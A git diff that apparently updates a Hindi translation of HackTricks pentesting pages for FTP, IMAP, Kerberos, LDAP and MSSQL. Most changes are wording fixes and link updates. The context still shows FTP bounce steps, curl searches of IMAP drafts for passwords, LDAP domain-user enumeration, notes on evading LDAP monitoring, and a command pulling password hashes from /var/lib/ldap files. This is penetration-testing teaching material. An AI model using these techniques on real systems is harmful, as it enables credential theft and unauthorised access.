-आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
+आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
सिद्धांत आसान है:
1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा
-2. **`REST X` का उपयोग करें ताकि आप उन वर्णों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
+2. **`REST X` का उपयोग करें ताकि आप उन अक्षरों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
3. **मनमाने सर्वर और सेवा से कनेक्ट करने के लिए `PORT` का उपयोग करें**
4. **सर्वर को सहेजे गए अनुरोध को भेजने के लिए `RETR` का उपयोग करें।**
-यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए `RETR` के साथ पर्याप्त समय तक नहीं रहता**। इसे टालने के लिए सुझाव हैं:
+यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए पर्याप्त समय तक नहीं रहता `RETR` के साथ**। इसे टालने के लिए सुझाव हैं:
- यदि आप एक HTTP अनुरोध भेज रहे हैं, तो **एक के बाद एक वही अनुरोध डालें** जब तक कि **\~0.5MB** कम से कम न हो। इस तरह:
@@ -169,9 +169,9 @@ posts.txt
{{#endfile}}
- प्रयास करें कि **प्रोटोकॉल के सापेक्ष "जंक" डेटा से अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना)
-- बस **अनुरोध को बहुत सारे शून्य वर्णों या अन्य से भरें** (पंक्तियों में विभाजित या नहीं)
+- बस **अनुरोध को बहुत सारे शून्य अक्षरों या अन्य से भरें** (पंक्तियों में विभाजित या नहीं)
-किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर किया जाए।](ftp-bounce-download-2oftp-file.md)
+किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md)
## Filezilla सर्वर भेद्यता
@@ -193,9 +193,9 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - गुमनाम के लिए निर्देशिका।
- `chown_uploads=YES` - गुमनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें
-- `chown_username=username` - गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व प्राप्त करने वाला उपयोगकर्ता
+- `chown_username=username` - उपयोगकर्ता जिसे गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया गया है
- `local_enable=YES` - स्थानीय उपयोगकर्ताओं को लॉगिन करने की अनुमति दें
-- `no_anon_password=YES` - गुमनाम से पासवर्ड नहीं पूछें
+- `no_anon_password=YES` - गुमनाम से पासवर्ड के लिए न पूछें
- `write_enable=YES` - कमांड की अनुमति दें: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE
### Shodan
@@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
-https://book.hacktricks.xyz/pentesting/pentesting-ftp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md
index 6cd0b9bd9..30779c1f2 100644
--- a/src/network-services-pentesting/pentesting-imap.md
+++ b/src/network-services-pentesting/pentesting-imap.md
@@ -91,7 +91,7 @@ apt install evolution
### CURL
-बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ विवरण में हल्का है इसलिए सटीक विवरण के लिए [source](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करना अनुशंसित है।
+बुनियादी नेविगेशन [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) के साथ संभव है, लेकिन दस्तावेज़ में विवरण की कमी है, इसलिए सटीक विवरण के लिए [source](https://github.com/curl/curl/blob/master/lib/imap.c) की जांच करने की सिफारिश की जाती है।
1. मेलबॉक्स की सूची बनाना (imap कमांड `LIST "" "*"`)
```bash
@@ -101,9 +101,9 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
-इस खोज का परिणाम संदेश संकेतकों की एक सूची है।
+इस खोज का परिणाम संदेश अनुक्रमांक की एक सूची है।
-जटिल खोज शर्तें प्रदान करना भी संभव है। उदाहरण के लिए, मेल बॉडी में पासवर्ड के साथ ड्राफ्ट के लिए खोज करना:
+यह अधिक जटिल खोज शर्तें प्रदान करना भी संभव है। उदाहरण के लिए, मेल बॉडी में पासवर्ड के साथ ड्राफ्ट के लिए खोज करना:
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
@@ -115,7 +115,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
मेल अनुक्रमणिका वही अनुक्रमणिका होगी जो खोज संचालन से लौटाई जाएगी।
-संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग करना भी संभव है, हालाँकि यह कम सुविधाजनक है क्योंकि खोज आदेश को मैन्युअल रूप से स्वरूपित करने की आवश्यकता होती है। उदाहरण के लिए:
+यह संदेशों तक पहुँचने के लिए `UID` (विशिष्ट आईडी) का उपयोग करना भी संभव है, हालाँकि यह कम सुविधाजनक है क्योंकि खोज आदेश को मैन्युअल रूप से स्वरूपित करने की आवश्यकता होती है। उदाहरण के लिए:
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
@@ -136,7 +136,7 @@ done
- `port:143 CAPABILITY`
- `port:993 CAPABILITY`
-## HackTricks स्वचालित आदेश
+## HackTricks Automatic Commands
```
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
Port_Number: 143,993 #Comma separated if there is more than one.
@@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
-https://book.hacktricks.xyz/pentesting/pentesting-imap
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index 2367e608c..f5c0e4067 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -8,7 +8,7 @@
**Active Directory** जैसे वातावरण में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में महत्वपूर्ण है, उनके गुप्त पासवर्डों को मान्य करके। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक उपयोगकर्ता की पहचान की पुष्टि की जाती है इससे पहले कि वे नेटवर्क संसाधनों के साथ बातचीत करें। हालाँकि, **Kerberos** अपनी कार्यक्षमता को विशिष्ट संसाधनों या सेवाओं पर उपयोगकर्ता के पास अधिकारों का मूल्यांकन या प्रवर्तन करने तक नहीं बढ़ाता। इसके बजाय, यह उपयोगकर्ताओं को प्रमाणित करने का एक सुरक्षित तरीका प्रदान करता है, जो सुरक्षा प्रक्रिया में एक महत्वपूर्ण पहला कदम है।
-**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं के विभाजन की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
+**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं का विभाजन करने की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
**Default Port:** 88/tcp/udp
```
@@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
-https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds
diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md
index a589fad7f..0ac8a27ae 100644
--- a/src/network-services-pentesting/pentesting-ldap.md
+++ b/src/network-services-pentesting/pentesting-ldap.md
@@ -4,9 +4,9 @@
**LDAP** (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) का उपयोग मुख्य रूप से विभिन्न संस्थाओं जैसे संगठनों, व्यक्तियों और नेटवर्क के भीतर फ़ाइलों और उपकरणों जैसे संसाधनों को खोजने के लिए किया जाता है, चाहे वे सार्वजनिक हों या निजी। यह अपने पूर्ववर्ती, DAP की तुलना में एक सरल दृष्टिकोण प्रदान करता है, जिसमें कोड का आकार छोटा होता है।
-LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों के बीच वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
+LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों में वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
-LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा बनाता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
+LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
**डिफ़ॉल्ट पोर्ट:** 389 और 636(ldaps)। ग्लोबल कैटलॉग (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 और 3269 पर LDAPS के लिए उपलब्ध है।
```
@@ -47,12 +47,12 @@ phone: 23627387495
```
- पंक्तियाँ 1-3 शीर्ष स्तर डोमेन local को परिभाषित करती हैं
- पंक्तियाँ 5-8 पहले स्तर डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं
-- पंक्तियाँ 10-16 2 संगठनात्मक इकाइयों को परिभाषित करती हैं: dev और sales
+- पंक्तियाँ 10-16 2 संगठनात्मक इकाइयों: dev और sales को परिभाषित करती हैं
- पंक्तियाँ 18-26 डोमेन का एक ऑब्जेक्ट बनाती हैं और विशेषताओं को मानों के साथ असाइन करती हैं
## डेटा लिखें
-ध्यान दें कि यदि आप मानों को संशोधित कर सकते हैं तो आप वास्तव में दिलचस्प क्रियाएँ करने में सक्षम हो सकते हैं। उदाहरण के लिए, कल्पना करें कि आप **अपने उपयोगकर्ता या किसी भी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं**। यह अत्यधिक संभावित है कि यदि यह विशेषता मौजूद है, तो **ssh सार्वजनिक कुंजियों को LDAP से पढ़ रहा है**। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं, तो आप **उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होंगे, भले ही पासवर्ड प्रमाणीकरण ssh में सक्षम न हो**।
+ध्यान दें कि यदि आप मानों को संशोधित कर सकते हैं तो आप वास्तव में दिलचस्प क्रियाएँ करने में सक्षम हो सकते हैं। उदाहरण के लिए, कल्पना करें कि आप **अपने उपयोगकर्ता या किसी भी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं**। यह अत्यधिक संभावित है कि यदि यह विशेषता मौजूद है, तो **ssh सार्वजनिक कुंजियों को LDAP से पढ़ रहा है**। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं तो आप **उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होंगे, भले ही ssh में पासवर्ड प्रमाणीकरण सक्षम न हो**।
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@@ -68,9 +68,9 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
यदि LDAP को SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में **स्पष्ट पाठ में क्रेडेंशियल्स को स्निफ़** कर सकते हैं।
-इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सके।
+इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन करे।
-**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड कर सकते हैं और फिर से क्रेडेंशियल्स देख सकते हैं।
+**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड करने में सक्षम होते हैं और फिर से क्रेडेंशियल्स देख सकते हैं।
## गुमनाम पहुंच
@@ -100,7 +100,7 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty
### Automated
-इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे।
+इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे:
```bash
nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
```
@@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
True
>>> server.info
```
-यदि प्रतिक्रिया `True` है जैसे पिछले उदाहरण में, तो आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
+यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
```bash
>>> server.info
DSA info (from DSE):
@@ -129,7 +129,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
-एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक प्रश्न पूछ सकते हैं। यह सरल प्रश्न आपको निर्देशिका में सभी वस्तुओं को दिखाना चाहिए:
+एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक क्वेरी बना सकते हैं। यह सरल क्वेरी आपको निर्देशिका में सभी वस्तुओं को दिखानी चाहिए:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@@ -145,7 +145,7 @@ True
### windapsearch
-[**Windapsearch**](https://github.com/ropnop/windapsearch) एक Python स्क्रिप्ट है जो **Windows** डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों को **enumerate** करने के लिए LDAP क्वेरी का उपयोग करती है।
+[**Windapsearch**](https://github.com/ropnop/windapsearch) एक Python स्क्रिप्ट है जो **Windows** डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों की **सूची बनाने** के लिए LDAP क्वेरी का उपयोग करती है।
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@@ -184,7 +184,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
-उपयोगकर्ताओं को निकालें:
+**उपयोगकर्ता**:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC="
#Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
@@ -201,7 +201,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN= -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
-**डोमेन उपयोगकर्ता**:
+**डोमेन उपयोगकर्ता निकालें**:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
@@ -274,7 +274,7 @@ done
### Apache Directory
-[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html)। आप इस टूल का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)।
+[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html)। आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)।
### jxplorer
@@ -286,7 +286,7 @@ done
### Godap
-Godap एक इंटरैक्टिव टर्मिनल उपयोगकर्ता इंटरफेस है जो LDAP के लिए है, जिसका उपयोग AD और अन्य LDAP सर्वरों में वस्तुओं और विशेषताओं के साथ बातचीत करने के लिए किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और इसमें सरल बाइंड्स, पास-दी-हैश, पास-दी-टिकट और पास-दी-प्रमाणपत्र के साथ-साथ खोजने/बनाने/बदलने/हटाने की वस्तुओं, समूहों से उपयोगकर्ताओं को जोड़ने/हटाने, पासवर्ड बदलने, वस्तु अनुमतियों (DACLs) को संपादित करने, Active-Directory Integrated DNS (ADIDNS) को संशोधित करने, JSON फ़ाइलों में निर्यात करने आदि जैसी कई अन्य विशेष सुविधाएँ शामिल हैं।
+Godap एक इंटरैक्टिव टर्मिनल उपयोगकर्ता इंटरफेस है जो LDAP के लिए है, जिसका उपयोग AD और अन्य LDAP सर्वरों में वस्तुओं और विशेषताओं के साथ बातचीत करने के लिए किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और इसमें सरल बाइंड्स, पास-थ-हैश, पास-थ-टिकट और पास-थ-प्रमाणपत्र जैसे कई अन्य विशेष सुविधाओं के साथ-साथ वस्तुओं को खोजने/बनाने/बदलने/हटाने, समूहों से उपयोगकर्ताओं को जोड़ने/हटाने, पासवर्ड बदलने, वस्तु अनुमतियों (DACLs) को संपादित करने, Active-Directory Integrated DNS (ADIDNS) को संशोधित करने, JSON फ़ाइलों में निर्यात करने आदि का समर्थन करता है।

@@ -294,7 +294,7 @@ Godap एक इंटरैक्टिव टर्मिनल उपयो
### Ldapx
-Ldapx एक लचीला LDAP प्रॉक्सी है जिसका उपयोग अन्य टूल से LDAP ट्रैफ़िक की जांच और रूपांतरित करने के लिए किया जा सकता है। इसका उपयोग पहचान सुरक्षा और LDAP निगरानी उपकरणों को बायपास करने के प्रयास में LDAP ट्रैफ़िक को अस्पष्ट करने के लिए किया जा सकता है और यह [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) वार्ता में प्रस्तुत अधिकांश विधियों को लागू करता है।
+Ldapx एक लचीला LDAP प्रॉक्सी है जिसका उपयोग अन्य उपकरणों से LDAP ट्रैफ़िक की जांच और रूपांतरित करने के लिए किया जा सकता है। इसका उपयोग पहचान सुरक्षा और LDAP निगरानी उपकरणों को बायपास करने के प्रयास में LDAP ट्रैफ़िक को अस्पष्ट करने के लिए किया जा सकता है और यह [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) वार्ता में प्रस्तुत अधिकांश विधियों को लागू करता है।

@@ -302,15 +302,15 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
## kerberos के माध्यम से प्रमाणीकरण
-`ldapsearch` का उपयोग करके आप **NTLM** के बजाय **kerberos के खिलाफ** **प्रमाणीकृत** कर सकते हैं, पैरामीटर `-Y GSSAPI` का उपयोग करके।
+`ldapsearch` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ **प्रमाणित** कर सकते हैं, इसके लिए पैरामीटर `-Y GSSAPI` का उपयोग करें।
## POST
-यदि आप उन फ़ाइलों तक पहुँच सकते हैं जहाँ डेटाबेस स्थित हैं (यह _/var/lib/ldap_ में हो सकता है)। आप हैश को निकालने के लिए उपयोग कर सकते हैं:
+यदि आप उन फ़ाइलों तक पहुँच सकते हैं जहाँ डेटाबेस स्थित हैं (यह _/var/lib/ldap_ में हो सकता है)। आप हैश निकालने के लिए उपयोग कर सकते हैं:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
-आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक 'structural' जोड़े बिना) दे सकते हैं।
+आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक बिना 'structural' जोड़े) दे सकते हैं।
### कॉन्फ़िगरेशन फ़ाइलें
@@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
-https://book.hacktricks.xyz/pentesting/pentesting-ldap
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index 6895a0c5f..6ae3ff549 100644
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
-> **Microsoft SQL Server** एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर।
+> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किए जाने पर उसे पुनः प्राप्त करना है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।
**डिफ़ॉल्ट पोर्ट:** 1433
```
@@ -17,7 +17,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है।
- **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है।
- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
-- **Resource Database**: एक केवल-पढ़ने वाला डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
+- **Resource Database**: एक केवल-पढ़ने योग्य डेटाबेस जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
## Enumeration
